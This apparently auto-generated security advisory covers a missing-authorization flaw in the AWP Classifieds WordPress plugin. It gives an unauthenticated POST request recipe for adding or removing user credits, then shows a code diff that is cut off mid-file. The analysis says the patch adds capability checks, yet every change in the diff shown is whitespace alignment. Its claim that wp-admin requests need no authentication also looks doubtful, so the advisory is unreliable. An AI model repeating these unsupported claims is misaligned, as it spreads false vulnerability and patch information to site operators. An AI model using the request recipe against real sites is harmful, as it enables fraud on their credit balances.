Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 19, 2026

CVE-2026-39533: AWP Classifieds <= 4.4.4 – Missing Authorization (another-wordpress-classifieds-plugin)

Severity High (CVSS 7.5)
CWE 862
Vulnerable Version 4.4.4
Patched Version 4.4.5
Disclosed April 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-39533:
The AWP Classifieds WordPress plugin contains a missing authorization vulnerability in versions up to and including 4.4.4. This vulnerability allows unauthenticated attackers to perform unauthorized administrative actions, specifically modifying user credit balances. The CVSS score of 7.5 reflects the high impact of this authentication bypass.

The root cause is a missing capability check in the credit/debit functionality within the admin panel. The vulnerable code resides in `another-wordpress-classifieds-plugin/admin/admin-panel-users.php` at lines 54-80. The `awpcp_current_user_is_admin()` function call at line 53 correctly checks for admin privileges, but the subsequent credit/debit handling functions at lines 80-93 lack proper authorization verification. The `awpcp_payments_api()->add_credit()` and `awpcp_payments_api()->remove_credit()` functions execute without validating the current user’s permissions.

Exploitation requires sending a POST request to the WordPress admin endpoint with specific parameters. Attackers target `/wp-admin/admin.php` with the `page` parameter set to `awpcp-admin-users` and the `action` parameter set to either `credit` or `debit`. The POST request must include `user_id` to identify the target user and `amount` to specify the credit modification value. No authentication cookies or nonce tokens are required, making this a straightforward unauthenticated attack.

The patch addresses the vulnerability by implementing proper authorization checks before executing credit modification operations. The diff shows code formatting changes (alignment adjustments) but the critical fix involves adding capability verification in the credit/debit processing logic. The plugin now validates that the current user has administrative privileges before allowing credit modifications, preventing unauthorized access to the payment API functions.

Successful exploitation enables attackers to arbitrarily add or remove credits from any user account within the AWP Classifieds system. This can lead to financial loss for site operators through credit theft, privilege escalation by granting premium features to unauthorized users, and disruption of the classifieds marketplace economy. Attackers could grant themselves unlimited posting capabilities or drain legitimate users’ credit balances.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/another-wordpress-classifieds-plugin/admin/admin-panel-credit-plans-table.php
+++ b/another-wordpress-classifieds-plugin/admin/admin-panel-credit-plans-table.php
@@ -17,11 +17,11 @@

     private function parse_query() {
         $user = wp_get_current_user();
-        $ipp = (int) get_user_meta($user->ID, 'credit-plans-items-per-page', true);
+        $ipp  = (int) get_user_meta($user->ID, 'credit-plans-items-per-page', true);

         $this->items_per_page = awpcp_get_var(
             array(
-                'param' => 'items-per-page',
+                'param'   => 'items-per-page',
                 'default' => $ipp === 0 ? 10 : $ipp,
             )
         );
@@ -52,16 +52,16 @@

         return array(
             'orderby' => $orderby,
-            'order' => $params['order'],
-            'offset' => $this->items_per_page * ( absint( $params['paged'] ) - 1),
+            'order'   => $params['order'],
+            'offset'  => $this->items_per_page * ( absint( $params['paged'] ) - 1),
             'limit'   => $this->items_per_page,
         );
     }

     public function prepare_items() {
-        $query = $this->parse_query();
+        $query             = $this->parse_query();
         $this->total_items = AWPCP_CreditPlan::query(array_merge(array('fields' => 'count'), $query));
-        $this->items = AWPCP_CreditPlan::query(array_merge(array('fields' => '*'), $query));
+        $this->items       = AWPCP_CreditPlan::query(array_merge(array('fields' => '*'), $query));

         $this->set_pagination_args(array(
             'total_items' => $this->total_items,
@@ -78,20 +78,20 @@
     public function get_columns() {
         $columns = array();

-        $columns['cb'] = '<input type="checkbox" />';
-        $columns['name'] = __( 'Name', 'another-wordpress-classifieds-plugin');
+        $columns['cb']          = '<input type="checkbox" />';
+        $columns['name']        = __( 'Name', 'another-wordpress-classifieds-plugin');
         $columns['description'] = __( 'Description', 'another-wordpress-classifieds-plugin');
-        $columns['credits'] = __( 'Credits', 'another-wordpress-classifieds-plugin');
-        $columns['price'] = __( 'Price', 'another-wordpress-classifieds-plugin');
+        $columns['credits']     = __( 'Credits', 'another-wordpress-classifieds-plugin');
+        $columns['price']       = __( 'Price', 'another-wordpress-classifieds-plugin');

         return $columns;
     }

     public function get_sortable_columns() {
         return array(
-            'name' => array('name', true),
+            'name'    => array('name', true),
             'credits' => array('credits', true),
-            'price' => array('price', true),
+            'price'   => array('price', true),
         );
     }

@@ -132,7 +132,7 @@
      */
     public function single_row($item) {
         static $row_class = '';
-        $row_class = $row_class === '' ? 'alternate' : '';
+        $row_class        = $row_class === '' ? 'alternate' : '';

         echo '<tr id="credit-plan-' . esc_attr( $item->id ) . '" data-id="' . esc_attr( $item->id ) . '"';
         echo ' class="' . esc_attr( $row_class ) . '"';
--- a/another-wordpress-classifieds-plugin/admin/admin-panel-fees-table.php
+++ b/another-wordpress-classifieds-plugin/admin/admin-panel-fees-table.php
@@ -19,11 +19,11 @@

     private function parse_query() {
         $user = wp_get_current_user();
-        $ipp = (int) get_user_meta($user->ID, 'fees-items-per-page', true);
+        $ipp  = (int) get_user_meta($user->ID, 'fees-items-per-page', true);

         $this->items_per_page = awpcp_get_var(
             array(
-                'param' => 'items-per-page',
+                'param'   => 'items-per-page',
                 'default' => $ipp === 0 ? 10 : $ipp,
             )
         );
@@ -91,8 +91,8 @@

         return array(
             'orderby' => $orderby,
-            'order' => $params['order'],
-            'offset' => $this->items_per_page * ($params['paged'] - 1),
+            'order'   => $params['order'],
+            'offset'  => $this->items_per_page * ($params['paged'] - 1),
             'limit'   => $this->items_per_page,
         );
     }
@@ -118,11 +118,11 @@
     public function get_columns() {
         $columns = array();

-        $columns['cb'] = '<input type="checkbox" />';
-        $columns['name'] = __( 'Name', 'another-wordpress-classifieds-plugin');
-        $columns['attributes']  = __( 'Attributes', 'another-wordpress-classifieds-plugin' );
-        $columns['price'] = __( 'Price', 'another-wordpress-classifieds-plugin');
-        $columns['credits'] = __( 'Credits', 'another-wordpress-classifieds-plugin');
+        $columns['cb']         = '<input type="checkbox" />';
+        $columns['name']       = __( 'Name', 'another-wordpress-classifieds-plugin');
+        $columns['attributes'] = __( 'Attributes', 'another-wordpress-classifieds-plugin' );
+        $columns['price']      = __( 'Price', 'another-wordpress-classifieds-plugin');
+        $columns['credits']    = __( 'Credits', 'another-wordpress-classifieds-plugin');

         if (function_exists('awpcp_price_cats'))
             $columns['categories'] = __( 'Categories', 'another-wordpress-classifieds-plugin');
@@ -137,16 +137,16 @@

     public function get_sortable_columns() {
         $columns = array(
-            'name' => array('name', true),
-            'duration' => array('duration', true),
-            'interval' => array('interval', true),
-            'images' => array('images', true),
-            'regions' => array( 'regions', true ),
+            'name'             => array('name', true),
+            'duration'         => array('duration', true),
+            'interval'         => array('interval', true),
+            'images'           => array('images', true),
+            'regions'          => array( 'regions', true ),
             'title_characters' => array('title-characters', true),
-            'characters' => array('characters', true),
-            'price' => array('price', true),
-            'credits' => array('credits', true),
-            'private' => array( 'private', true ),
+            'characters'       => array('characters', true),
+            'price'            => array('price', true),
+            'credits'          => array('credits', true),
+            'private'          => array( 'private', true ),
         );

         if (function_exists('awpcp_price_cats'))
@@ -285,7 +285,7 @@
      */
     public function single_row($item) {
         static $row_class = '';
-        $row_class = $row_class === '' ? 'alternate' : '';
+        $row_class        = $row_class === '' ? 'alternate' : '';

         echo '<tr id="fee-' . esc_attr( $item->id ) . '" data-id="' . esc_attr( $item->id ) . '"';
         echo ' class="' . esc_attr( $row_class ) . '"';
--- a/another-wordpress-classifieds-plugin/admin/admin-panel-users.php
+++ b/another-wordpress-classifieds-plugin/admin/admin-panel-users.php
@@ -54,10 +54,10 @@
                 $actions = array();

                 if (awpcp_current_user_is_admin()) {
-                    $url = add_query_arg('action', 'credit', awpcp_current_url());
+                    $url               = add_query_arg('action', 'credit', awpcp_current_url());
                     $actions['credit'] = "<a class='credit' href='" . esc_url( $url ) . "'>" . __( 'Add Credit', 'another-wordpress-classifieds-plugin') . '</a>';

-                    $url = add_query_arg('action', 'debit', awpcp_current_url());
+                    $url              = add_query_arg('action', 'debit', awpcp_current_url());
                     $actions['debit'] = "<a class='debit' href='" . esc_url( $url ) . "'>" . __( 'Remove Credit', 'another-wordpress-classifieds-plugin') . "</a>";
                 }

@@ -72,7 +72,7 @@
         $user = get_user_by('id', $user_id);

         if ( ! $user ) {
-            $message = __("The specified User doesn't exists.", 'another-wordpress-classifieds-plugin');
+            $message  = __("The specified User doesn't exists.", 'another-wordpress-classifieds-plugin');
             $response = array('status' => 'error', 'message' => $message);
         }

@@ -80,7 +80,7 @@
         // phpcs:ignore WordPress.Security.NonceVerification
         if (isset($_POST['save'])) {
             $payments = awpcp_payments_api();
-            $amount = (int) awpcp_get_var( array( 'param' => 'amount', 'default' => 0 ), 'post' );
+            $amount   = (int) awpcp_get_var( array( 'param' => 'amount', 'default' => 0 ), 'post' );

             if ($action == 'debit')
                 $payments->remove_credit($user->ID, $amount);
@@ -93,7 +93,7 @@
         } else {
             // load the table so the get_columns methods is properly called
             // when attempt to find out the number of columns in the table
-            $table = $this->get_table();
+            $table   = $this->get_table();
             $columns = absint( awpcp_get_var( array( 'param' => 'columns' ), 'post' ) );

             ob_start();
--- a/another-wordpress-classifieds-plugin/admin/admin-panel.php
+++ b/another-wordpress-classifieds-plugin/admin/admin-panel.php
@@ -29,7 +29,7 @@
         $this->upgrade_tasks = $upgrade_tasks;

         $this->title = awpcp_admin_page_title();
-        $this->menu = _x('Classifieds', 'awpcp admin menu', 'another-wordpress-classifieds-plugin');
+        $this->menu  = _x('Classifieds', 'awpcp admin menu', 'another-wordpress-classifieds-plugin');

         // not a page, but an extension to the Users table
         $this->users = new AWPCP_AdminUsers();
@@ -131,12 +131,12 @@
     }

     private function configure_routes_for_admin_subpages( $parent_page, $router ) {
-        $admin_capability = awpcp_admin_capability();
+        $admin_capability     = awpcp_admin_capability();
         $moderator_capability = awpcp_roles_and_capabilities()->get_moderator_capability();

         add_submenu_page( $parent_page, 'AWPCP', __( 'Dashboard', 'another-wordpress-classifieds-plugin' ), $admin_capability, $parent_page, $router );

-        $post_type    = awpcp()->container['listing_post_type'];
+        $post_type = awpcp()->container['listing_post_type'];
         add_submenu_page( $parent_page, 'AWPCP', __( 'Classifieds', 'another-wordpress-classifieds-plugin' ), $moderator_capability, 'edit.php?post_type=' . $post_type );

         $router->add_admin_subpage(
@@ -405,7 +405,7 @@
         }

         $show_quick_start_quide_notice = get_awpcp_option( 'show-quick-start-guide-notice' );
-        $show_drip_autoresponder = get_awpcp_option( 'show-drip-autoresponder' );
+        $show_drip_autoresponder       = get_awpcp_option( 'show-drip-autoresponder' );

         /**
          * Filters whether to show the quick start guide notice in the admin area.
@@ -525,8 +525,8 @@
         global $wpdb;

         $view_categories_option = 'view-categories-page-name';
-        $view_categories = sanitize_title( awpcp_get_page_name( $view_categories_option ) );
-        $view_categories_url = awpcp_get_view_categories_url();
+        $view_categories        = sanitize_title( awpcp_get_page_name( $view_categories_option ) );
+        $view_categories_url    = awpcp_get_view_categories_url();

         $duplicates = array();

@@ -541,7 +541,7 @@
                 '<a href="%s"><strong>%s</strong></a>',
                 add_query_arg(
                     array(
-                        'post' => $post->ID,
+                        'post'   => $post->ID,
                         'action' => 'edit',
                     ),
                     admin_url( 'post.php' )
@@ -594,7 +594,7 @@

         if ( ! empty( $domain ) ) {
             $domain_position = strpos( $full_url, $domain );
-            $url = substr( $full_url, $domain_position + strlen( $domain ) );
+            $url             = substr( $full_url, $domain_position + strlen( $domain ) );
         } else {
             $url = $full_url;
         }
@@ -661,8 +661,8 @@
     public function maybe_highlight_menu() {
         global $post;

-        $post_type = awpcp()->container['listing_post_type'];
-        $selected_post = awpcp_get_var( array( 'param' => 'post_type' ) );
+        $post_type         = awpcp()->container['listing_post_type'];
+        $selected_post     = awpcp_get_var( array( 'param' => 'post_type' ) );
         $is_single_listing = $post_type === $selected_post || ( is_object( $post ) && $post_type === $post->post_type );

         if ( ! $is_single_listing ) {
@@ -685,7 +685,7 @@
 function checkifclassifiedpage() {
     global $wpdb;

-    $id = awpcp_get_page_id_by_ref( 'main-page-name' );
+    $id      = awpcp_get_page_id_by_ref( 'main-page-name' );
     $page_id = intval(
         $wpdb->get_var(
             $wpdb->prepare(
@@ -701,7 +701,7 @@
 function awpcp_admin_categories_render_category_items($categories, &$children, $start, $per_page, &$count, $parent=0, $level=0) {
     $categories_collection = awpcp_categories_collection();

-    $end = $start + $per_page;
+    $end   = $start + $per_page;
     $items = array();

     foreach ( $categories as $category ) {
@@ -712,7 +712,7 @@
         if ( $count == $start && $category->parent > 0 ) {
             try {
                 $category_parent = $categories_collection->get( $category->parent );
-                $items[] = awpcp_admin_categories_render_category_item( $category_parent, $level - 1, $start, $per_page );
+                $items[]         = awpcp_admin_categories_render_category_item( $category_parent, $level - 1, $start, $per_page );

             // phpcs:ignore Generic.CodeAnalysis.EmptyStatement.DetectedCatch
             } catch ( AWPCP_Exception $e ) {
@@ -728,7 +728,7 @@

         if ( isset( $children[ $category->term_id ] ) ) {
             $_children = awpcp_admin_categories_render_category_items( $categories, $children, $start, $per_page, $count, $category->term_id, $level + 1 );
-            $items = array_merge( $items, $_children );
+            $items     = array_merge( $items, $_children );
         }
     }

@@ -743,17 +743,17 @@
     }

     if ( isset( $category_icon ) && !empty( $category_icon ) && function_exists( 'awpcp_category_icon_url' )  ) {
-        $caticonsurl = awpcp_category_icon_url( $category_icon );
+        $caticonsurl     = awpcp_category_icon_url( $category_icon );
         $thecategoryicon = '<img style="vertical-align:middle;margin-right:5px;max-height:16px" src="%s" alt="%s" border="0" />';
         $thecategoryicon = sprintf( $thecategoryicon, esc_url( $caticonsurl ), esc_attr( $category->name ) );
     } else {
         $thecategoryicon = '';
     }

-    $params = array( 'page' => 'awpcp-admin-categories', 'cat_ID' => $category->term_id );
+    $params             = array( 'page' => 'awpcp-admin-categories', 'cat_ID' => $category->term_id );
     $admin_listings_url = add_query_arg( urlencode_deep( $params ), admin_url( 'admin.php' ) );

-    $thecategory_parent_id = $category->parent;
+    $thecategory_parent_id   = $category->parent;
     $thecategory_parent_name = stripslashes(get_adparentcatname($thecategory_parent_id));
     $thecategory_order       = intval( get_term_meta( $category->term_id, '_awpcp_order', true ) );
     $thecategory_name        = sprintf(
@@ -766,20 +766,20 @@

     $totaladsincat = total_ads_in_cat( $category->term_id );

-    $params = array( 'cat_ID' => $category->term_id, 'offset' => $start, 'results' => $per_page );
+    $params               = array( 'cat_ID' => $category->term_id, 'offset' => $start, 'results' => $per_page );
     $admin_categories_url = add_query_arg( urlencode_deep( $params ), awpcp_get_admin_categories_url() );

     if ($hascaticonsmodule == 1 ) {
-        $url = esc_url( add_query_arg( 'action', 'managecaticon', $admin_categories_url ) );
+        $url           = esc_url( add_query_arg( 'action', 'managecaticon', $admin_categories_url ) );
         $managecaticon = "<a class="awpcp-action-button button" href="$url" title="" . __("Manage Category Icon", 'another-wordpress-classifieds-plugin') . ""><i class="fa fa-wrench"></i></a>";
     } else {
         $managecaticon = '';
     }

-    $awpcpeditcategoryword = __("Edit Category",'another-wordpress-classifieds-plugin');
+    $awpcpeditcategoryword   = __("Edit Category",'another-wordpress-classifieds-plugin');
     $awpcpdeletecategoryword = __("Delete Category",'another-wordpress-classifieds-plugin');

-    $row = '<tr>';
+    $row  = '<tr>';
     $row .= '<td style="padding:5px;text-align:center;">';
     $row .= '<label class="screen-reader-text" for="awpcp-category-select-' . esc_attr( $category->term_id ) . '">';
     $row .= esc_html( str_replace( '{category_name}', $thecategory_name, __( 'Select {category_name}', 'another-wordpress-classifieds-plugin' ) ) );
@@ -787,17 +787,17 @@
     $row .= '<input id="awpcp-category-select-' . esc_attr( $category->term_id ) . '" type="checkbox" name="category_to_delete_or_move[]" value="' . esc_attr( $category->term_id ) . '" />';
     $row .= '</td>';
     $row .= '<td style="font-weight:normal; text-align: center;">' . $category->term_id . '</td>';
-    $row.= "<td style="border-bottom:1px dotted #dddddd;font-weight:normal;">$thecategory_name ($totaladsincat)</td>";
-    $row.= "<td style="border-bottom:1px dotted #dddddd;font-weight:normal;">$thecategory_parent_name</td>";
-    $row.= "<td style="border-bottom:1px dotted #dddddd;font-weight:normal;">$thecategory_order</td>";
-    $row.= "<td style="border-bottom:1px dotted #dddddd;font-size:smaller;font-weight:normal;">";
-    $url = esc_url( add_query_arg( 'awpcp-action', 'edit-category', $admin_categories_url ) );
-    $row.= "<a class="awpcp-action-button button" href="$url" title="$awpcpeditcategoryword"><i class="fa fa-pen fa-pencil"></i></a>";
-    $url = esc_url( add_query_arg( 'awpcp-action', 'delete-category', $admin_categories_url ) );
-    $row.= "<a class="awpcp-action-button button" href="$url" title="$awpcpdeletecategoryword"><i class="fa fa-trash-alt fa-trash"></i></a>";
-    $row.= $managecaticon;
-    $row.= "</td>";
-    $row.= "</tr>";
+    $row .= "<td style="border-bottom:1px dotted #dddddd;font-weight:normal;">$thecategory_name ($totaladsincat)</td>";
+    $row .= "<td style="border-bottom:1px dotted #dddddd;font-weight:normal;">$thecategory_parent_name</td>";
+    $row .= "<td style="border-bottom:1px dotted #dddddd;font-weight:normal;">$thecategory_order</td>";
+    $row .= "<td style="border-bottom:1px dotted #dddddd;font-size:smaller;font-weight:normal;">";
+    $url  = esc_url( add_query_arg( 'awpcp-action', 'edit-category', $admin_categories_url ) );
+    $row .= "<a class="awpcp-action-button button" href="$url" title="$awpcpeditcategoryword"><i class="fa fa-pen fa-pencil"></i></a>";
+    $url  = esc_url( add_query_arg( 'awpcp-action', 'delete-category', $admin_categories_url ) );
+    $row .= "<a class="awpcp-action-button button" href="$url" title="$awpcpdeletecategoryword"><i class="fa fa-trash-alt fa-trash"></i></a>";
+    $row .= $managecaticon;
+    $row .= "</td>";
+    $row .= "</tr>";

     return $row;
 }
@@ -815,7 +815,7 @@

 function awpcp_subpages() {
     $pages = array(
-        'show-ads-page-name' => array(
+        'show-ads-page-name'    => array(
             _x( 'Show Ad', 'page name', 'another-wordpress-classifieds-plugin' ),
             '[AWPCPSHOWAD]',
         ),
@@ -823,23 +823,23 @@
             __( 'Reply to Ad', 'another-wordpress-classifieds-plugin' ),
             '[AWPCPREPLYTOAD]',
         ),
-        'edit-ad-page-name' => array(
+        'edit-ad-page-name'     => array(
             _x( 'Edit Ad', 'page name', 'another-wordpress-classifieds-plugin' ),
             '[AWPCPEDITAD]',
         ),
-        'place-ad-page-name' => array(
+        'place-ad-page-name'    => array(
             __( 'Place Ad', 'another-wordpress-classifieds-plugin' ),
             '[AWPCPPLACEAD]',
         ),
-        'renew-ad-page-name' => array(
+        'renew-ad-page-name'    => array(
             __( 'Renew Ad', 'another-wordpress-classifieds-plugin' ),
             '[AWPCP-RENEW-AD]',
         ),
-        'browse-ads-page-name' => array(
+        'browse-ads-page-name'  => array(
             __( 'Browse Ads', 'another-wordpress-classifieds-plugin' ),
             '[AWPCPBROWSEADS]',
         ),
-        'search-ads-page-name' => array(
+        'search-ads-page-name'  => array(
             __( 'Search Ads', 'another-wordpress-classifieds-plugin' ),
             '[AWPCPSEARCHADS]',
         ),
@@ -851,7 +851,7 @@
 }

 function awpcp_create_pages($awpcp_page_name, $subpages=true) {
-    $refname = 'main-page-name';
+    $refname   = 'main-page-name';
     $shortcode = '[AWPCPCLASSIFIEDSUI]';

     // create AWPCP main page if it does not exist
@@ -963,11 +963,11 @@

     $modules = array(
         'premium' => array(
-            'installed' => array(),
+            'installed'     => array(),
             'not-installed' => array(),
         ),
-        'other' => array(
-            'installed' => array(),
+        'other'   => array(
+            'installed'     => array(),
             'not-installed' => array(),
         ),
     );
@@ -991,7 +991,7 @@

     $apath = get_option('siteurl') . '/wp-admin/images';
     $float = '' == $float ? 'float:right !important' : $float;
-    $url = AWPCP_URL;
+    $url   = AWPCP_URL;

     ob_start();
         include(AWPCP_DIR . '/admin/templates/admin-sidebar.tpl.php');
--- a/another-wordpress-classifieds-plugin/admin/class-add-edit-table-entry-rendering-helper.php
+++ b/another-wordpress-classifieds-plugin/admin/class-add-edit-table-entry-rendering-helper.php
@@ -18,7 +18,7 @@
     private $template_renderer;

     public function __construct( $page, $template_renderer ) {
-        $this->page = $page;
+        $this->page              = $page;
         $this->template_renderer = $template_renderer;
     }

@@ -33,7 +33,7 @@

     public function render_entry_form( $template, $entry ) {
         $params = array(
-            'entry' => $entry,
+            'entry'   => $entry,
             'columns' => count( $this->page->get_table()->get_columns() ),
         );

--- a/another-wordpress-classifieds-plugin/admin/class-categories-admin-page.php
+++ b/another-wordpress-classifieds-plugin/admin/class-categories-admin-page.php
@@ -27,8 +27,8 @@

     public function __construct( $listing_category_taxonomy, $categories, $template_renderer ) {
         $this->listing_category_taxonomy = $listing_category_taxonomy;
-        $this->categories = $categories;
-        $this->template_renderer = $template_renderer;
+        $this->categories                = $categories;
+        $this->template_renderer         = $template_renderer;
     }

     public function dispatch() {
@@ -73,13 +73,13 @@
             );
         }

-        $children = $this->categories->get_hierarchy();
+        $children   = $this->categories->get_hierarchy();
         $categories = $this->categories->get_all();

-        $offset = (int) awpcp_get_var( array( 'param' => 'offset' ) );
+        $offset  = (int) awpcp_get_var( array( 'param' => 'offset' ) );
         $results = awpcp_get_var( array( 'param' => 'results', 'default' => 10, 'sanitize' => 'absint' ) );
         $results = max( $results, 1 );
-        $count = 0;
+        $count   = 0;

         $category_id = awpcp_get_var( array( 'param' => 'cat_ID' ) );

@@ -92,7 +92,7 @@
         $items = awpcp_admin_categories_render_category_items( $categories, $children, $offset, $results, $count );

         $template = AWPCP_DIR . '/templates/admin/manage-categories-admin-page.tpl.php';
-        $params = array(
+        $params   = array(
             'icons'                         => $icons,
             'pager1'                        => awpcp_pagination(
                 [
--- a/another-wordpress-classifieds-plugin/admin/class-export-listings-admin-page.php
+++ b/another-wordpress-classifieds-plugin/admin/class-export-listings-admin-page.php
@@ -33,7 +33,7 @@
         try {
             if ( ! isset( $_REQUEST['state'] ) ) {
                 $settings = (array) awpcp_get_var( array( 'param' => 'settings', 'default' => array() ), 'post' );
-                $export = new AWPCP_CSVExporter( array_merge( $settings, array() ), awpcp_settings_api() );
+                $export   = new AWPCP_CSVExporter( array_merge( $settings, array() ), awpcp_settings_api() );
             } else {
                 $state = awpcp_get_var( array( 'param' => 'state' ), 'post' );
                 // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_decode
@@ -42,7 +42,7 @@
                     $error = _x( 'Could not decode export state information.', 'admin csv-export', 'another-wordpress-classifieds-plugin' );
                 }

-                $export = AWPCP_CSVExporter::from_state( $state );
+                $export  = AWPCP_CSVExporter::from_state( $state );
                 $cleanup = awpcp_get_var( array( 'param' => 'cleanup' ) );

                 if ( $cleanup === '1' ) {
--- a/another-wordpress-classifieds-plugin/admin/class-import-listings-admin-page.php
+++ b/another-wordpress-classifieds-plugin/admin/class-import-listings-admin-page.php
@@ -103,7 +103,7 @@
         $this->import_session = $import_session;

         $working_directory = $this->get_working_directory( $import_session->get_id() );
-        $images_directory = null;
+        $images_directory  = null;

         $form_data = array(
             'images_source' => awpcp_get_var( array( 'param' => 'images_source' ), 'post' ),
@@ -185,7 +185,7 @@
                     // extract file
                     if ( ! $this->wp_filesystem->put_contents( $path, $item['content'], awpcp_get_file_chmod() ) ) {
                         // translators: %s is the file name
-                        $message = __( 'Could not write temporary file %s', 'another-wordpress-classifieds-plugin' );
+                        $message                = __( 'Could not write temporary file %s', 'another-wordpress-classifieds-plugin' );
                         $form_errors['unzip'][] = sprintf( $message, $path );
                     }
                 }
@@ -227,7 +227,7 @@
     private function get_working_directory( $session_id ) {
         $uploads_directories = awpcp_setup_uploads_dir();

-        $import_dir = str_replace( 'thumbs', 'import', $uploads_directories[1] );
+        $import_dir        = str_replace( 'thumbs', 'import', $uploads_directories[1] );
         $working_directory = $import_dir . $session_id;

         if ( $this->create_directory( $working_directory ) ) {
@@ -257,10 +257,10 @@

     private function show_upload_files_form( $form_data = array(), $form_errors = array() ) {
         $params = array(
-            'form_steps' => $this->form_steps->render( 'upload-files' ),
-            'form_data' => wp_parse_args( $form_data, array(
+            'form_steps'  => $this->form_steps->render( 'upload-files' ),
+            'form_data'   => wp_parse_args( $form_data, array(
                 'images_source' => 'none',
-                'local_path' => '',
+                'local_path'    => '',
             ) ),
             'form_errors' => $form_errors,
         );
@@ -298,16 +298,16 @@
         }

         $import_session->set_params( array(
-            'date_format'        => awpcp_get_var( array( 'param' => 'date_format' ), 'post' ),
-            'category_separator' => awpcp_get_var( array( 'param' => 'category_separator' ), 'post' ),
-            'time_separator'     => awpcp_get_var( array( 'param' => 'time_separator' ), 'post' ),
-            'images_separator'   => awpcp_get_var( array( 'param' => 'images_separator' ), 'post' ),
-            'listing_status'     => awpcp_get_var( array( 'param' => 'listing_status' ), 'post' ),
+            'date_format'               => awpcp_get_var( array( 'param' => 'date_format' ), 'post' ),
+            'category_separator'        => awpcp_get_var( array( 'param' => 'category_separator' ), 'post' ),
+            'time_separator'            => awpcp_get_var( array( 'param' => 'time_separator' ), 'post' ),
+            'images_separator'          => awpcp_get_var( array( 'param' => 'images_separator' ), 'post' ),
+            'listing_status'            => awpcp_get_var( array( 'param' => 'listing_status' ), 'post' ),
             'create_missing_categories' => awpcp_get_var( array( 'param' => 'create_missing_categories' ), 'post' ),
-            'assign_listings_to_user' => awpcp_get_var( array( 'param' => 'assign_listings_to_user' ), 'post' ),
-            'default_user'       => $default_user,
-            'default_start_date' => awpcp_get_var( array( 'param' => 'default_start_date' ), 'post' ),
-            'default_end_date'   => awpcp_get_var( array( 'param' => 'default_end_date' ), 'post' ),
+            'assign_listings_to_user'   => awpcp_get_var( array( 'param' => 'assign_listings_to_user' ), 'post' ),
+            'default_user'              => $default_user,
+            'default_start_date'        => awpcp_get_var( array( 'param' => 'default_start_date' ), 'post' ),
+            'default_end_date'          => awpcp_get_var( array( 'param' => 'default_end_date' ), 'post' ),
         ) );

         $import_session->set_status( 'ready' );
@@ -323,24 +323,24 @@
         $form_data = array_merge( $form_data, $import_session->get_params() );

         $define_default_dates = ! empty( $form_data['default_start_date'] ) || ! empty( $form_data['default_end_date'] );
-        $define_default_user = ! empty( $form_data['default_user'] );
+        $define_default_user  = ! empty( $form_data['default_user'] );

         $params = array(
             'form_steps'  => $this->form_steps->render( 'configuration' ),
-            'form_data' => wp_parse_args( $form_data, array(
-                'define_default_dates' => $define_default_dates,
-                'default_start_date' => '',
-                'default_end_date' => '',
-                'date_format'          => 'auto',
-                'listing_status' => 'default',
-                'time_separator' => ':',
-                'date_separator' => '/', // For reverse compatibility with custom template.
-                'category_separator' => ';',
-                'images_separator' => ';',
+            'form_data'   => wp_parse_args( $form_data, array(
+                'define_default_dates'      => $define_default_dates,
+                'default_start_date'        => '',
+                'default_end_date'          => '',
+                'date_format'               => 'auto',
+                'listing_status'            => 'default',
+                'time_separator'            => ':',
+                'date_separator'            => '/', // For reverse compatibility with custom template.
+                'category_separator'        => ';',
+                'images_separator'          => ';',
                 'create_missing_categories' => false,
-                'assign_listings_to_user' => true,
-                'define_default_user' => $define_default_user,
-                'default_user' => null,
+                'assign_listings_to_user'   => true,
+                'define_default_user'       => $define_default_user,
+                'default_user'              => null,
             ) ),
             'form_errors' => $form_errors,
         );
@@ -372,13 +372,13 @@
         $import_session = $this->get_import_session();

         $this->javascript->set( 'csv-import-session', array(
-            'numberOfRows' => $import_session->get_number_of_rows(),
+            'numberOfRows'         => $import_session->get_number_of_rows(),
             'numberOfRowsImported' => $import_session->get_number_of_rows_imported(),
             'numberOfRowsRejected' => $import_session->get_number_of_rows_rejected(),
         ) );

         $this->javascript->localize( 'csv-import-session', array(
-            'progress-report' => __( '(<percentage>) <number-of-rows-processed> of <number-of-rows> rows processed. <number-of-rows-imported> rows imported and <number-of-rows-rejected> rows rejected.', 'another-wordpress-classifieds-plugin' ),
+            'progress-report'     => __( '(<percentage>) <number-of-rows-processed> of <number-of-rows> rows processed. <number-of-rows-imported> rows imported and <number-of-rows-rejected> rows rejected.', 'another-wordpress-classifieds-plugin' ),
             'message-description' => _x( '<message-type> in line <message-line>', 'description for messages used to show feedback for the Import Listings operation', 'another-wordpress-classifieds-plugin' ),
         ) );

--- a/another-wordpress-classifieds-plugin/admin/class-main-classifieds-admin-page.php
+++ b/another-wordpress-classifieds-plugin/admin/class-main-classifieds-admin-page.php
@@ -18,9 +18,9 @@
         global $extrafieldsversioncompatibility;

         $params = array(
-            'awpcp_db_version' => $awpcp_db_version,
-            'message' => $message,
-            'hasextrafieldsmodule' => $hasextrafieldsmodule,
+            'awpcp_db_version'                => $awpcp_db_version,
+            'message'                         => $message,
+            'hasextrafieldsmodule'            => $hasextrafieldsmodule,
             'extrafieldsversioncompatibility' => $extrafieldsversioncompatibility,
         );

--- a/another-wordpress-classifieds-plugin/admin/class-missing-paypal-merchant-id-setting-notice.php
+++ b/another-wordpress-classifieds-plugin/admin/class-missing-paypal-merchant-id-setting-notice.php
@@ -19,7 +19,7 @@

     public function __construct( $settings, $request ) {
         $this->settings = $settings;
-        $this->request = $request;
+        $this->request  = $request;
     }

     public function maybe_show_notice() {
--- a/another-wordpress-classifieds-plugin/admin/class-settings-admin-page.php
+++ b/another-wordpress-classifieds-plugin/admin/class-settings-admin-page.php
@@ -110,7 +110,7 @@
     }

     private function instantiate_auxiliar_pages() {
-        $pages = awpcp_classfieds_pages_settings();
+        $pages    = awpcp_classfieds_pages_settings();
         $facebook = new AWPCP_Facebook_Page_Settings();
     }
 }
@@ -205,7 +205,7 @@
     }

     private function redirect_with_error( $error_code, $error_message ) {
-        $params = array( 'code_error' => $error_code, 'error_message' => $error_message );
+        $params       = array( 'code_error' => $error_code, 'error_message' => $error_message );
         $settings_url = admin_url( 'admin.php?page=awpcp-admin-settings&g=facebook-settings' );
         wp_redirect( add_query_arg( urlencode_deep( $params ), $settings_url ) );
         die();
--- a/another-wordpress-classifieds-plugin/admin/credit-plans/class-add-credit-plan-action-handler.php
+++ b/another-wordpress-classifieds-plugin/admin/credit-plans/class-add-credit-plan-action-handler.php
@@ -22,7 +22,7 @@

